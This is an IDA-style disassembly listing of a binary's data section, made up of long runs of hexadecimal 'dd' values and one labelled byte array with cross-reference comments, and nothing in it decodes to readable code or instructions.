		dd 5B38358h, 0FC2E87C0h, 0BCFBC002h, 0C4988AF2h, 0C50D4400h
		dd 7A5625h, 0F4CA69D1h,	0C322EB48h, 0F0A90E29h,	9B40F01Dh
		dd 7A87EA90h, 779333E5h, 210B1808h, 0FD9B7DAAh,	96529B00h
		dd 8A0E0692h, 0AB864C58h, 0F77FCC4h, 3AF16F5h, 13482860h
		dd 0C8181CEBh, 369039C0h, 0FA5F15F2h, 4400E859h, 0D1702C90h
		dd 0B619CD1Eh, 0AC0826A7h, 801BC180h, 0B80F1D2Ch, 0FC585102h
		dd 6E12271h, 37B09910h,	0ECD6A0A9h, 4D003808h, 60FDCE73h
		dd 0E447A3CBh, 0F8BA0027h, 3CBFD34Bh, 0AE0005F1h, 0F6BD687Eh
		dd 18267C16h, 49AD883Bh, 0B2000AE2h, 6AB9C3Dh, 7418436Ch
		dd 219EEF05h, 9DB28588h, 94CB823Ch, 0D8CBA6E0h,	3EB7A606h
		dd 29C10Dh, 0F40F6A9Bh,	9EAE42C6h, 8890A455h, 60B78270h
		dd 9C34B201h, 91050321h, 0B6D00C6h, 0DBBC9AB2h,	1F51C9D9h
		dd 25CB7C01h, 0CA108080h, 762806D0h, 9F7700DDh,	0D1CF472Ah
		dd 1600D8B4h, 0B80C3848h
		dd 35B9260h, 35C49C54h,	7C90F9ABh, 176753B0h, 2D60227Eh
		dd 288EEBh, 5BDA9380h, 52379471h, 0D000FA77h, 0F7E8E461h
		dd 0FC6C639Dh, 37EAE670h, 40387BB6h, 31D08DB1h,	8F36B300h
		dd 0F0BC7D9Bh, 81E7002Ah, 32508A11h, 3B1C719Ah,	0E8C8218Eh
		dd 884A0C2Eh, 2D0CB148h, 5140A222h, 590963D0h, 7DB86127h
		dd 0CDE6B3F3h, 31CCF900h, 64107174h, 0A02D0338h, 0E99207F4h
		dd 204D1800h, 978FF0A5h, 914A2047h, 37B2CC00h, 5368EE44h
		dd 21CCE5B4h, 7044A030h, 0B99300A4h, 0B4A23745h, 8F1989DEh
		dd 5E58E9D7h, 239B4C40h, 4D160F0Bh, 95800FAFh, 0DBA3F8C6h
		dd 147238h, 31F275B6h, 0FC6D74A0h, 31307647h, 0A8A1E284h
		dd 8D198070h, 0D854506Ah, 6C8100ADh, 0B031CB82h, 0BBF285E1h
		dd 4D703300h, 0B1203B9h, 59C601A8h, 0DA5EF66h, 13E3F47Dh
		dd 5465CAECh, 42F5311h,	0EF4BA0C3h, 0BA651000h,	5F077040h
		dd 0F56403FBh, 0A9476E54h, 0F7A0809Fh, 28CEE973h, 3EA0BD56h
		dd 32409917h, 84F3A044h, 42789422h, 9FEA1103h, 0B27F4474h
		dd 883F7144h, 9D01BF55h, 1063D64Fh, 0B57049E1h,	0FA6E0777h
		dd 0A008F6D3h, 0D6E67020h, 0D7A4D800h, 40863328h, 0F7EC0010h
		dd 976782DDh, 98000172h, 0FE84EDFh, 52BDA6h, 0EE5E5647h
		dd 3119D094h, 182C6200h, 0BB6849F7h, 8CC8FF2Bh,	1A080015h
		dd 0D121511Dh, 8F002E06h, 7DF6A067h, 0F37A6F1h,	5B4C092Ah
		dd 41C87B00h, 12054AFCh, 0E743C96Ah, 0E16FB040h, 75F04AEh
		dd 10333BF4h, 0BAB2C018h, 0E7009528h, 0EE67133Dh, 70DC7E5Dh
		dd 5AF500B8h, 816C9A27h, 9900AC25h, 0AEF40B11h,	0FE9E0A2Bh
		dd 521D187Dh, 0ED4D1278h, 0E6A43900h, 1CBCB56Bh, 0EEB3005Fh
		dd 0B9501BDCh, 7CECFC5Bh, 655850A0h, 0FEA5981h,	132832A0h
		dd 10004E8Eh, 473CFF27h, 0DF8112h, 0FC367FBBh, 13682844h
		dd 0E2198900h, 5059BD69h, 3B10CE6Fh, 0CF208AAFh, 85CAFF3Ch
		dd 97E9EC03h, 0C0FE9A9Bh, 13ADA757h, 10ACF787h,	0F807A8FAh
		dd 0DBC095DFh, 5CF16287h, 3005628h, 3CE57344h, 0CA1AE21h
		dd 4C199E5Ch, 70009A68h, 3EBDE2CEh, 0E32A72Ch, 0CD95E3F3h
		dd 942E446Eh, 0A6D0BF00h, 0AA03250Dh, 7BCE3396h, 0E288F83Fh
		dd 12E302D4h, 39E00865h, 52EAF160h, 14430500h, 0CACD44A1h
		dd 23102A7h, 0AF34BB03h, 0A3CD887h, 13FD01E4h, 0CC71FF81h
		dd 0F2003704h, 99B78903h, 9417D0h, 0D45C021Eh, 0E844F921h
		dd 61367A02h, 0E3CD8339h, 6B3CC82Dh, 0CF6A0023h, 91F86FA5h
		dd 0A30048C3h, 0AE46F0EBh, 0E8D5C7D4h, 2D590015h, 0D0ED81C8h
		dd 7B0002D7h, 0E5300C24h, 0FA965763h, 8FFE01BCh, 0FA198DAFh
		dd 3E43D491h, 905BD500h, 6FB7037Ch, 947D0016h, 0DEDDE676h
		dd 0B9031288h, 70A4686Eh, 17F89938h, 2BB5C4h, 2CD490EBh
		dd 20EEF64h, 989A5802h,	69A3537Dh, 25E43714h, 0C943008Eh
		dd 6DB5E3D2h, 4A04CFF6h, 33D88460h, 0CB000287h,	588C7F66h
		dd 8700B338h, 5230B897h, 2A30C64Ch, 0F7E4B0BDh,	0EF767Dh
		dd 0AF812C48h, 2B78B344h, 0B13BF803h, 0E2CC24B7h, 71F6E016h
		dd 9FB82Dh, 0D81F2694h,	3CCED184h, 0CB1CDB00h, 0FB458B85h
		dd 159F00F1h, 0F658F587h, 0F800D3C5h, 1C551AE6h, 1D723BFh
		dd 434DD6A1h, 0C80E93E9h, 1F000AEDh, 6CDF90F3h,	514259h
		dd 27CA7F2Ah, 28BC99B8h, 0DAAED300h, 0FCCCFEEFh, 187D000Eh
		dd 74D1855Dh, 50000FB3h, 0D99EA934h, 3C2728ACh,	9F008ABDh
		dd 0ADE304C4h, 0C036A8Fh, 15E5B8A6h, 409CEAD4h,	0EF435Eh
		dd 66E60A3h, 7EAF3B76h,	4889CE00h, 807521ABh, 40AD0053h
		dd 95C8A25h, 130065BAh,	0C7CE013Ah, 0E0EF034h, 36D018D5h
		dd 1A975060h, 0EE005F6Eh, 8CA0969Bh, 7D691006h,	8E733CB6h
		dd 0C5E93000h, 0F046D4D9h, 1985F200h, 0E1A65872h, 151F0054h
		dd 23EDB6B2h, 0E0F0A0EFh, 0A270E400h, 83A8AB16h, 7B7004Ah
		dd 8A93BDD0h, 87269532h, 1E1D5052h, 0C7979C80h,	1CFA5622h
		dd 802C8F34h, 0A5D05146h, 1500A3C3h, 6F4C02C4h,	0CC81E8h
		dd 0D9A11065h, 0C0674475h, 305D3800h, 0EB1BA79Ch, 12E709F8h
		dd 0CD83D4C6h, 65F0260Bh, 6E004ED7h, 40104DA7h,	2D3984h
		dd 0F7B7218Ch, 93B81BA4h, 743A0702h, 40AE1A46h,	1EEF677h
		dd 7B56AC20h, 0F889168Eh, 5300D030h, 998CE99Eh,	3BE50AD5h
		dd 4F80ABF0h, 9102436Eh, 1F03D47Fh, 0CFC19755h,	8BBFD0D6h
		dd 602D002Eh, 0D41C44D0h, 740046E5h, 67A8F288h,	2CFDD362h
		dd 6E043Fh, 0C2361F31h,	8FA0A686h, 73E4BADFh, 7C99FC09h
		dd 156C202Eh, 9F6467h, 723F6DB2h, 5988FD61h, 0F91ED77Fh
		dd 9340EBDBh, 2169248Eh, 5C5F1D82h, 3104FB53h, 0C0227B3Eh
		dd 0B53AE14Ch, 328E3300h, 0AEC3FF43h, 0B3810F6Dh, 4DA00874h
		dd 0E4262EC2h, 99536F00h, 66847822h, 271F005Eh,	61A30BF5h
		dd 8300E849h, 86ED9ECAh, 1F4F9170h, 80EC65D9h, 0EAE0A923h
		dd 2A00AD0Fh, 7A9FBD89h, 7F084134h, 51263E1Fh, 0D6F0680h
		dd 876C548Ah, 0CFD16E0Eh, 0C071CF7Fh, 73B736CEh, 3DD493FAh
		dd 8C0F2200h, 27653EC1h, 2F9A5400h, 24FE0B8Ah, 0E0FC60E1h
		dd 0CBBDD1A9h, 0C1A52D07h, 45303044h, 3B43B5C2h, 0C70341C3h
		dd 2CDDCD48h, 91BA85F0h, 226D1F00h, 45F5A023h, 872939A8h
		dd 3FC805A6h, 0C5BE93h,	59492FBCh, 5B1325A9h, 541CBA88h
		dd 203A94CBh, 2263FDDCh, 109E3D2Eh, 7CCB26h, 235BFDCh
		dd 97007B0Fh, 4BEC681Dh, 0F42E40h, 0C97FBC39h, 6F243E37h
		dd 0BACD0600h, 0F39E0C19h, 3440C0CAh, 488AD7C3h, 0B165D400h
		dd 9FAF8240h, 67EF004Dh, 6F0516CDh, 0BC9A94DDh,	0FF6B3101h
		dd 0F9878D01h, 0B3C064h, 0C5352E6h, 69679523h, 0D6FAA500h
		dd 0E405093Bh, 5EE93AFDh, 8109D24Ch, 0CA0091F5h, 0C8CDD61Ch
		dd 63008B7Fh, 1482B118h, 6DDE2DAh, 0E860B246h, 0D05F80Ah
		dd 1733AA41h, 0F508405h, 53658D0h, 0C098DFh, 27B75A94h
		dd 0D9460975h, 31748D3Ch, 0C92130FBh, 0F4A452F0h, 36C700F9h
		dd 8A2BDDB9h, 33FCFB3Bh, 56E0C000h, 5B684311h, 55B9001Fh
		dd 3C729BC6h, 0DF3D1C4Dh, 0ED2101AFh, 5EC8399h,	0E397D850h
		dd 26CCF4A2h, 6CFAF4h, 85750477h, 0CE009411h, 95A91D0Eh
		dd 3DA90B8h, 435898EDh,	6780E580h, 2212B208h, 7C83A01Fh
		dd 0A713B32Ch, 163EDAF0h, 0C2D701EBh, 9C47E1A7h, 80D85539h
		dd 587C18FFh, 1CC07400h, 2DF67F0Eh, 93C700BAh, 803A6502h
		dd 0B2471F0h, 2F801CB7h, 0C8F8FB70h, 867D10h, 0C373D464h
		dd 0DA2CE928h, 0A8B0A600h, 0AB4B8590h, 22B80DF3h, 61982595h
		dd 50998EEDh, 5CC60DFh,	7D6784Bh, 0B353EBAh, 0C091C5ABh
		dd 0D8F3E369h, 9D8D48h,	57061C71h, 196F0464h, 5051755Ah
		dd 0AC2C708Eh, 8B6E6A00h, 0F52111BDh, 0BAA1003Fh, 3D2B74FFh
		dd 0BC3AE7B6h, 0D78704B9h, 3490A011h, 72C4D3h, 0F35735CCh
		dd 60331BDFh, 0F554AA03h, 0B0757CBBh, 0B7772Eh,	55C8E4ACh
		dd 1ED2D96Dh, 6515B600h, 0C9769748h, 34241DD7h,	0C2CE8018h
		dd 0F8511E43h, 3244C600h, 0DF9B887Fh, 1C3E83Ah,	56BDB1B5h
		dd 0D4133477h, 1C0253C2h, 0F260EA87h, 990603Ah,	0C08376ADh
		dd 35C16C20h, 616E731h,	2D0047DAh, 72CDCEDEh, 0FE54E4F6h
		dd 0ED9075Dh, 0B06A8A84h, 9BEBE0EDh, 83EED400h,	0B918AEE3h
		dd 7073029Eh, 5E177271h, 0EC148440h, 33F60C76h,	410783EEh
		dd 18529F88h, 0E149BF10h
		dd 0D73C2895h, 887860BCh, 2B76B334h, 50402A00h,	0CD661A65h
		dd 373A0036h, 496AA8AAh, 91050E34h, 0E892B823h,	388B8402h
		dd 16E1E01Ah, 780B00BDh, 2C30D3E3h, 0A400A8A7h,	0CDD77C1Fh
		dd 0F9BBD8h, 1B5F8066h,	60DE0B46h, 0A4398303h, 0F0071C3Eh
		dd 0A7B694h, 32F1AA8Dh,	0A26AB58Ah, 0B890400h, 79907BAEh
		dd 234A0088h, 28BF85B4h, 9D002E6Ch, 713C5C50h, 0FF1B3Bh
		dd 16B90B45h, 3017032h,	0CC42800h, 2D7A3117h, 0E2530089h
		dd 0D3D7E4F8h, 50005EE3h, 5DD59B44h, 80AF08h, 4BA46F82h
		dd 0DCB1E956h, 0E0663802h, 4018F786h, 0EC5C7638h, 0C88C0019h
		dd 0D3328108h, 444CF396h, 157D2C07h, 0BC6A4500h, 1C3F6B2Bh
		dd 802F8CCCh, 62F0678Bh, 691E3B13h, 3A478FBDh, 425460B3h
		dd 0E18E5CD0h, 3E24E857h, 1212FEBBh, 37908089h,	1676D33Ch
		dd 0FF006098h, 0CEAFF5EDh, 0EC66AD65h, 0DB920EB0h, 69EAC8F6h
		dd 3FF103DBh, 0CD9777h,	88E76CC0h, 8B0EA0C1h, 6080A4D4h
		dd 0B712177Ah, 7F2506A5h, 9032E7F7h, 60DFE248h,	6D9AF90h
		dd 8079D7h, 54FCF996h, 0B56CD6CBh, 0E5931800h, 345E05DDh
		dd 12F401C6h, 6D752070h, 790E80E4h, 0C14CE7B0h,	418700A2h
		dd 86C3A834h, 43016C81h, 0DC68E348h, 0DED41A4Ch, 677F00E1h
		dd 152A3FA4h, 71F8C739h, 1E878100h, 1B5CC192h, 27AC00FBh
		dd 0BE458AA2h, 0CB0017BCh, 470CABB0h, 10640Ah, 0AE54DFD0h
		dd 431FDBB4h, 0F9C84E61h, 0D92052C1h, 6675F4h, 0BEFA305Ch
		dd 2960BACCh, 81396A00h, 0EC8574D7h, 370A0ED9h,	1040F6F2h
		dd 52DCC99Ah, 0F338A37Fh, 0ECB780C6h, 0CDC53DE9h, 638E00CAh
		dd 3C7D8533h, 0B5E0AA4Eh, 0ECB6048h, 6361C9D8h,	88092B21h
		dd 22ACB80h, 9AFC1D12h,	5C71940Ch, 42EBB00h, 205A1F2h
		dd 0B65A82D7h, 411039h,	608B21F4h, 0DEF4E5E8h, 0C51DE909h
		dd 1F080CFh, 19542Ch, 5EED0AF9h, 79FE66ABh, 0CD551102h
		dd 0E068B561h, 0E58F70h, 0D32D150Bh, 3091951Ah,	12A4DD01h
		dd 38B6EE4Ch, 5651D8h, 2A9BBC25h, 2F160B1h, 58DD1201h
		dd 0AFF9382Bh, 0AD411065h, 0A42054F8h, 1DF30769h, 0D0B9AC51h
		dd 0BD17E172h, 3D145C09h, 7134077Fh, 360580Eh, 77501C95h
		dd 0AD86C5Eh, 9AD0A161h, 34A1F92Ch, 30011458h, 1300B39Fh
		dd 76D29754h, 0A08A4B10h, 13AA20BAh, 41AB3B72h,	45CF2CF4h
		dd 0E870D6B1h, 0A8C2CD00h, 0E2B526B0h, 0A57D0031h, 0E927F6B9h
		dd 35003997h, 6D0FA40h,	0E36CA10h, 0C09E5B6Ch, 0A025D6A7h
		dd 5785C279h, 811E6FF8h, 2A475A8Eh, 0D0D0CB97h,	0FF6DC8Ch
		dd 7499BB77h, 0E7C1ED3h, 0A406654h, 532636E0h, 0F003971h
		dd 0F4F524D1h, 14BC65Eh, 9D0E1F18h, 0FF95E3BDh,	0A10958D8h
		dd 7E03AF78h, 0BAAD2288h, 0A64A8003h, 0D2211E68h, 0D17092Ch
		dd 47266980h, 4D0534BBh, 27524441h, 20F9C80Ch, 68B079h
		dd 78EF310h, 9404B395h,	8330153Fh, 0EDFE9806h, 755480DCh
		dd 25BFEC42h, 6080D2F3h, 0E559C658h, 0BD7AC5Ch,	81CB6DE4h
		dd 8A985F58h, 1CE04D02h, 0A900D8BBh, 84517333h,	0B0D4B7C7h
		dd 26A30080h, 0BEA06611h, 31E69504h, 2000B094h,	80B9A26Bh
		dd 30A4A45h, 0CAF0EECh,	7647B8B0h, 0D2010C90h, 94CA2EF9h
		dd 2020DF31h, 0F1540063h, 76246BFBh, 8C71F545h,	1E003BF6h
		dd 0AE44CC96h, 6650D16h, 37ECC3C9h, 0D60406DBh,	0C5AAB197h
		dd 0D85A2C91h, 0B5006036h, 0DDCF0FF8h, 13050573h, 1C0E7E46h
		dd 0B0F20CC0h, 0C7FB0E8Fh, 0B80B496h, 1EFC2E1h,	7DFC224Ch
		dd 2BF7E09h, 2C2400D1h,	1796ECFCh, 986299h, 0DDB68EE0h
		dd 6F3A9335h, 5801CF52h, 0C72E0886h, 0E5DA4C70h, 0F8596C60h
		dd 57A70099h, 0A240AE66h, 0C4002CCCh, 0D94C52D7h, 3D5340Bh
		dd 8BEC3377h, 8EA97D19h, 0B71C207Ah, 117C1A00h,	725B014h
		dd 0F33C0061h, 0FC34B662h, 0C34A9A83h, 0BE7C13h, 0D9E8A5B2h
		dd 69017F02h, 71FF805Bh, 36800188h, 991A975Ah, 0E8007E98h
		dd 72F93ED2h, 4E1B6FEh,	626404D9h, 9D8CC05Bh, 0D4F45097h
		dd 132E0C90h, 0C79CCCEDh, 582B55C0h, 0F190D04h,	3D094CB0h
		dd 0BF2F66C0h, 0FCF785AAh, 0DF00F07Ah, 0EA283010h, 0CB2B40h
		dd 0F2FF66B9h, 0EF745C80h, 3714D218h, 9F8630h, 0C3B6612Bh
		dd 0B7A4586Eh, 62C34D75h, 9056DF12h, 61B4C1h, 0CA5A8175h
		dd 0D8A929FEh, 0BA874200h, 0A683C5F9h, 1D4B7D6Dh, 80C7110Bh
		dd 0B32367FCh, 0B100944Eh, 82F5AFACh, 0EEA069F1h, 5C95EEEAh
		dd 84400CDAh, 21522F2Eh, 100DB76h, 0F210E8E3h, 20640083h
		dd 8880071Dh, 0B00045A8h, 62C64209h, 57423DCh, 0C7A75915h
		dd 4D48E07Ch, 0AD004CB0h, 0A06CE58Ah, 0CFD42A8h, 0D2AF156Eh
		dd 620011B0h, 0D6203E69h, 0E102D70h, 6F9E835Ch,	0CC9A17E0h
		dd 0FF002AF9h, 16CA95DAh, 7527D3A8h, 63560194h,	4E6E5C40h
		dd 80782066h, 0E7078A1Dh, 68D1B407h, 982CA00Bh,	0C00EFBECh
		dd 0E1327890h, 8C37B3Ah, 1FD75C66h, 7D27E18h, 3F849E58h
		dd 0F5302F47h, 0EAC2033Eh, 20126F44h, 94C02779h, 58EF153h
		dd 0C3960782h, 1EF0E012h, 0B1717C00h, 0BE05A56Ah, 0C18A005Ah
		dd 0FB38CF87h, 1802E28Eh, 0E5AE80DDh, 3FA02222h, 98C617E3h
		dd 281F5B00h, 0B19F54F5h, 0D8EB00B4h, 7080F0DAh, 0AA0184D7h
		dd 3A4E6F10h, 59C4380Eh, 0D025030Dh, 0EFB6DCEAh, 0A9438200h
		dd 732E8504h, 77E424D3h, 3EA60066h, 968FE6E1h, 1A23139h
		dd 0F0536B6Fh, 58384FA5h, 612DED00h, 0C2DF90B9h, 0A778010Eh
		dd 0E1F98CC1h, 61443B8Eh, 4C5A2200h, 49741992h,	0F9F1F615h
		dd 0E3E200B0h, 4F2A149Ch, 0A28D00C5h, 300771FBh, 4D007F82h
		dd 0D3DA6480h, 31E1877Bh, 5339E6E2h, 5D22D0DFh,	0AD112167h
		dd 8EB10D70h, 0F832079Bh, 46314397h, 0C41D2115h, 0A4C10EBAh
		dd 0FF5E45BBh, 779F1980h, 0DFFEB6ECh, 0C724F106h, 0EC113A5h
		dd 69D2892Dh, 888FB3C0h, 0E6FF275h, 7C84A2A0h, 3E3263BCh
		dd 0AD0CDA10h, 0F3A1F8E6h, 56C6D500h, 12E1E27Bh, 4C09DBD7h
		dd 0DD132000h, 0CE595EC6h, 68E628C5h, 23E5000Ch, 0B934A4F0h
		dd 640091F5h, 332275E3h, 1D6604h, 5D5B16A0h, 68EEBA8Bh
		dd 7580FB05h, 4401C712h, 27DE9C02h, 4E7D1080h, 317242A9h
		dd 579AAA0Fh, 6B3B40E1h, 705FBE3h, 0C60BB7F6h, 11CC70C0h
		dd 0C901375Eh, 0E165F13Ah, 30600DE4h, 593403F8h, 9EBA5F45h
		dd 44884FE3h, 5A006578h, 0C0B22F96h, 34DBB8h, 8D89BE9Ch
		dd 75D674ACh, 650C0B0Eh, 2A2FA5A2h, 0E0292980h,	33BB0388h
		dd 7A9EC174h, 0AB0C0AB8h, 0FF90773Dh, 0B80C3A7Bh, 9EFF2D8Fh
		dd 0B6500040h, 0D86B7859h, 0F503557Dh, 91E94C4h, 0EF7C3FD2h
		dd 5D9C6480h, 0C871FE8Dh, 9EF9DB00h, 797F01A7h,	0CD210E4Bh
		dd 0AAC0531Ch, 997037ADh, 968CF300h, 8283DF35h,	6C65009Ah
		dd 0D66940AFh, 0B658D271h, 0F62900E3h, 39A9AA8Ch, 3EB3005Eh
		dd 666E3DDh, 0BC016C60h, 0C0A437D9h, 21809121h,	0FDC750F6h
		dd 20A7848Fh, 0C1F94B08h, 71AE4E35h, 8CF1C457h,	1F024F07h
		dd 0DA41ABC7h, 0E13A2260h, 2170E7CEh, 0CBBE5A00h, 15D9C5B4h
		dd 0BF4F02F9h, 0B6AB0BBAh, 993440D5h, 64AF0091h, 6A9CACF1h
		dd 3B034F8Dh, 407F48Ah,	37AA389h, 6A74A521h, 0A9B09CAAh
		dd 0BD0653ADh, 2C87F3A0h, 288C6710h, 0D59F40E7h, 10C5865Fh
		dd 4883A4D1h, 2963D878h, 6A09CC71h, 0DC063121h,	9C9B8B81h
		dd 94220069h, 643A751h
		dd 0FC00EA0Fh, 6AB832A4h, 74C9A3CDh, 79CC144Ah,	5D11A894h
		dd 468D0A87h, 0AF01A43Bh, 0B7A1F14Ah, 4480AC57h, 38985137h
		dd 327792ACh, 0A6083AE4h, 0E9AF9480h, 0DFC51AAh, 0B731A00Ch
		dd 1FF91958h, 0FCB38Ah,	83553961h, 9EFBB4C4h, 10A4CFF0h
		dd 0EE4380A0h, 0DD007423h, 0F779ED81h, 0F4608667h, 80B53231h
		dd 22DB0046h, 0C7E1D460h, 0B9C03588h, 10093750h, 13FE895h
		dd 9D71C022h, 80F5AB2Ch, 1E061341h, 612D52DFh, 0CC0FF158h
		dd 7D818F5Dh, 36A5607Ah, 3DC2EAB7h, 0BE8019E7h,	0EB54D73Ch
		dd 700D5AEh, 50944CBDh,	0CF849E4h, 0DB23480Ah, 3600F619h
		dd 0A39932C3h, 3A5149E3h, 0C530E2ACh, 0C3DEF521h, 8A2C0901h
		dd 16779C04h, 0B4D61880h, 872D2402h, 0FF587C0Fh, 0A0E1EFCCh
		dd 3498C09Fh, 62C2003Bh, 0D43DF8E5h, 0A71E9DB6h, 0A6587E1Fh
		dd 47E740h, 0BB0325A2h,	438AAA68h, 216D08CCh, 0EEBF7EACh
		dd 7DD20FC0h, 0E04211F1h, 8920E95Ch, 0F5B9D04h,	0BF20ACEFh
		dd 218EA48Fh, 0D64B82C1h, 6014FD07h, 1F060505h,	873DEC4Ah
		dd 21A16008h, 539B317Ch, 4D3BDB00h, 0A78D4981h,	51C801BDh
		dd 4CA3B7C7h, 89284820h, 52D9B08h, 4CF4C217h, 9B11000Bh
		dd 33757FDh, 149183CDh,	70F70394h, 0B23D2FAFh, 0A978B601h
		dd 897D791Dh, 468C58A0h, 3BE021Ch, 314302E9h, 56C71072h
		dd 0EF6C00A2h, 412E3F53h, 0D1504525h, 4A146FD8h, 0E66A7Bh
		dd 51ED54ABh, 5D58D2h, 0FBBFD941h, 185B2F6Eh, 0E4087E2Ah
		dd 403D3601h, 4EF4B2C9h, 0A8A21023h, 269B30h, 2C76E9A5h
		dd 50AD5704h, 15FBAE0Ah, 9401D4E8h, 24BE0AFAh, 0C3342C50h
		dd 93992330h, 0EF4439h,	1760C3DCh, 0F4DB41B7h, 0C1922300h
		dd 0E0E60435h, 5C4A1DDDh, 47317324h, 10D830CBh,	0DA00B0E8h
		dd 85536D66h, 4A2036h, 43A3165h, 25A8210Bh, 38D0F130h
		dd 0EBE464h, 8323D4E3h,	45FF0916h, 4A24EC2Eh, 92A18A01h
		dd 240284h, 12AD00BDh, 0CB315638h, 9DB897EAh, 14B3B000h
		dd 26E2EB99h, 0C091DEE1h, 63A5EAD4h, 0BE002A7Fh, 0DAFE92B5h
		dd 0CFDE51Dh, 0BD77F94Eh, 0DE90129Ch, 0B50D3F00h, 2EDED65Ah
		dd 6CA1C0E2h, 0C45028EDh, 82CF3103h, 0A3CBE9CCh, 892100D3h
		dd 7B222905h, 4AF4C4C1h, 24D249h, 432A5E98h, 0AC6C0AFBh
		dd 0C3320FE8h, 0E2C89916h, 1140BA64h, 0C818C33Bh, 1D623D00h
		dd 83048C9Ah, 0D15491C2h, 445186Dh, 0E28440D2h,	0E28487B9h
		dd 98495F01h, 0D8F091BDh, 0B1291387h, 0CCC21C4h, 0EB8388DEh
		dd 7F4D2801h, 0E025E775h, 96361984h, 4091C73Dh,	97E1F4D4h
		dd 0F98E1D00h, 70FA1ACAh, 602DE6D7h, 0FE04797Ah, 7B00AB50h
		dd 704EA1F3h, 0F35675F1h, 125F89F0h, 35322AA3h,	0B5600314h
		dd 0D0E7EDDCh, 0D44C83C6h, 0BB260D00h, 0CE4AB73Eh, 232D11AAh
		dd 750071D2h, 49287702h, 17E0A17h, 0D053926h, 7060B82Eh
		dd 2548B331h, 2A458060h, 874D1Ch, 805B2CB2h, 0B54BCE23h
		dd 0FF501900h, 8BB32562h, 1289F424h, 50E83546h,	1923CCE0h
		dd 0EBA26101h, 2033CB02h, 3B92E80h, 0B70C905h, 5597B000h
		dd 0A1562098h, 0D4F84814h, 288CADBCh, 3C819A02h, 8C9DED5Ah
		dd 5F848028h, 31852096h, 25A4D754h, 9E3980EBh, 0A04323B7h
		dd 0A3020245h, 2811F4ABh, 8A928D60h, 0AED35603h, 253547h
		dd 0FA3DFDE9h, 0CDB8E588h, 0F0DA0A2Fh, 5651C075h, 0D0943C85h
		dd 0D9C02C91h, 3173B9Bh, 3FDEAA31h, 8007239h, 7A1A595Dh
		dd 713B73F0h, 947007Eh,	1BCB399h, 0BE066051h, 5EB9F98Ah
		dd 0A9A10028h, 1C89EC9Dh, 827D0493h, 50D5D20Eh,	4055C8F6h
		dd 0E1CDCB1Bh, 0C7116267h, 4FEBEFC1h, 0AFD97180h, 0CA31033Bh
		db 54h
byte_520045	db 0E1h, 48h, 0B7h	; DATA XREF: ___:004385A0o
					; ___:004385B8o
		dd 87FC31C0h, 0B8F7903Bh, 9A6D0037h, 587573A2h,	0E22A82FDh
		dd 0E8462C15h, 923B701Ch, 2C9A1132h, 8F00B622h,	4DB03BA8h
		dd 54F0459h, 0E8402D0Dh, 5BCD8109h, 0BF97E8E7h,	0F130E554h
		dd 3B75058Ch, 23BA310Dh, 21585C5Ch, 0D63B00D4h,	150DF030h
		dd 0D06A1F82h, 306AC22h, 72BC7B42h, 1D3F41B0h, 9A987A50h
		dd 0E6FC9D00h, 68B64B0h, 186360F8h, 770F0DFAh, 0D4501507h
		dd 0D5079D32h, 218346h,	0E50F05BCh, 14172907h, 2D23AE00h
		dd 2FCC9550h, 119C00A5h, 0D762F56Bh, 0AA00218Bh, 0C5F335E7h
		dd 0E5BBB1h, 30020669h,	22A2B8FCh, 4DB39200h, 0AC0BD228h
		dd 10F300ADh, 6FF593CDh, 0EC00FF9Eh, 0EFC82548h, 8C6D69h
		dd 8D542379h, 380AE3F6h, 9E9CAA07h, 4B20FFF4h, 0A9BF50h
		dd 6422CD60h, 446F2E43h, 0D8C048h, 9935D428h, 69EE50h
		dd 8F25E892h, 0CC49D5CBh, 0E729B4C0h, 9BE285h, 36B7A593h
		dd 0EED42F7Ah, 0EF2C138h, 173CBBh, 0C62ECDD2h, 238030Eh
		dd 3FE75EC9h, 88AA5CF8h, 0C3049600h, 0F07D8EA0h, 0CE570043h
		dd 0D5C0A9C9h, 0D64E1568h, 4D9B1C80h, 0BE9E0192h, 36B8D85Fh
		dd 20EBFB29h, 12415CEAh, 0C7804482h, 7FD301ADh,	0D019DDF3h
		dd 9630ED1Ch, 77AA80E9h, 35A500F2h, 0A3563767h,	3D031580h
		dd 16079AE1h, 0CF87C8B1h, 0DA0B20A4h, 28246000h, 0FD536EEEh
		dd 801B044Fh, 40D03BC0h, 0CC8E7EC1h, 0EBF200FAh, 0F6056FF8h
		dd 65EC8F43h, 58358800h, 5C87AAFEh, 49C0A039h, 0DFCA3036h
		dd 95985140h, 3459A0A0h, 0BA0EEA79h, 0C06A9603h, 7AAAACC0h
		dd 0EE4000Dh, 810A18F1h, 1C308D9Bh, 366641C1h, 2AC601D4h
		dd 6CEB189Ah, 1684F0F3h, 0D0C00263h, 0AF22E8BBh, 3A7E58C0h
		dd 0AECB0D00h, 3BC9CABCh, 640ADFF6h, 0A0384F33h, 377DC700h
		dd 746B5C8h, 5BF0B369h,	33DCA0BAh, 0CA00408Fh, 623662Eh
		dd 396D621Bh, 0AC4EA2FDh, 5E090021h, 0E89F4A15h, 44B60012h
		dd 0D9BA6380h, 0F90786A6h, 0AA6D8491h, 8F5B0EC1h, 34353F8h
		dd 17BC5481h, 10A391B3h, 82574003h, 0E04B97DCh,	1DE8AE7Dh
		dd 0A4E9F93Dh, 8C640440h, 0D9A00C4h, 920C739h, 47802B8Eh
		dd 40858000h, 0F87921B0h, 90041D09h, 0B9FC0063h, 3A1FA7Eh
		dd 0C1F07134h, 0C0832906h, 9BA4BAA0h, 52CC090Bh, 0D20E5DA1h
		dd 33B4DE23h, 0C66CB6F8h, 16CA58h, 0AE09D08Dh, 70A5E2A4h
		dd 3900026h, 3E8AC3D1h,	0C0017A9h, 5AB3330Bh, 3C55A4E4h
		dd 8C034792h, 96563CDEh, 5DAE680Fh, 0B1F80051h,	0D5E24Eh
		dd 6B46783h, 0EC751FE5h, 5FACD803h, 843556h, 630D5030h
		dd 6D974E59h, 90CF60F7h, 51D81F13h, 39FD3200h, 0E41B47h
		dd 0D7336730h, 4292586Bh, 0F196840Bh, 803C80C5h, 0C087590h
		dd 2F343E72h, 0C283330h, 820080B3h, 0F6EBE30Dh,	0F8A78Fh
		dd 7592BFE9h, 9CFE4313h, 83A58000h, 0A48FF5D1h,	0F9FB0A77h
		dd 70203C55h, 8CB23Eh, 7D859BE7h, 4AA3D053h, 9392060h
		dd 0AA1FBCEh, 0C0E87133h, 4B8064CCh, 578180E9h,	1EF56D8h
		dd 258C592Fh, 57950D03h, 87E82A8h, 4F83CC80h, 0A00C7E7h
		dd 2A2E5DF5h, 1803062h,	0ADEB46E3h, 952221C5h, 0F804AE59h
